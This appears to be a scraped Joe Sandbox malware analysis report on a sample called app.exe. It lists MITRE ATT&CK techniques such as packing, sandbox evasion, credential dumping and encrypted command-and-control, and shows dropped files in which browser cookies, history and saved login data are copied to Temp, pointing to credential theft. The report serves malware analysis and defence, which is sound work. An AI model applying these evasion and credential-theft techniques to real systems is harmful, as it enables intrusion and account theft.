Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report app.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\Cookies

C:\Users\user\AppData\Local\Temp\History

C:\Users\user\AppData\Local\Temp\Login Data

C:\Users\user\AppData\Local\Temp\Web Data

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
app.exe

Function 025BE5F7 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 345
memorylibraryloaderCOMMON

Function 0042C59F Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 331
memorylibraryloaderCOMMON

Function 0256EAC0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 177
memorythreadCOMMON

Function 025D04D0 Relevance: 10.6, APIs: 7, Instructions: 142
memoryCOMMON

Function 00415DDE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132
COMMON

Function 025D91D2 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 235
memoryCOMMON

Function 0042C5FF Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 311
memoryCOMMON

Function 0042B64B Relevance: 15.1, APIs: 10, Instructions: 101
memoryCOMMON

Function 025CCCC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98
memorythreadCOMMON

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre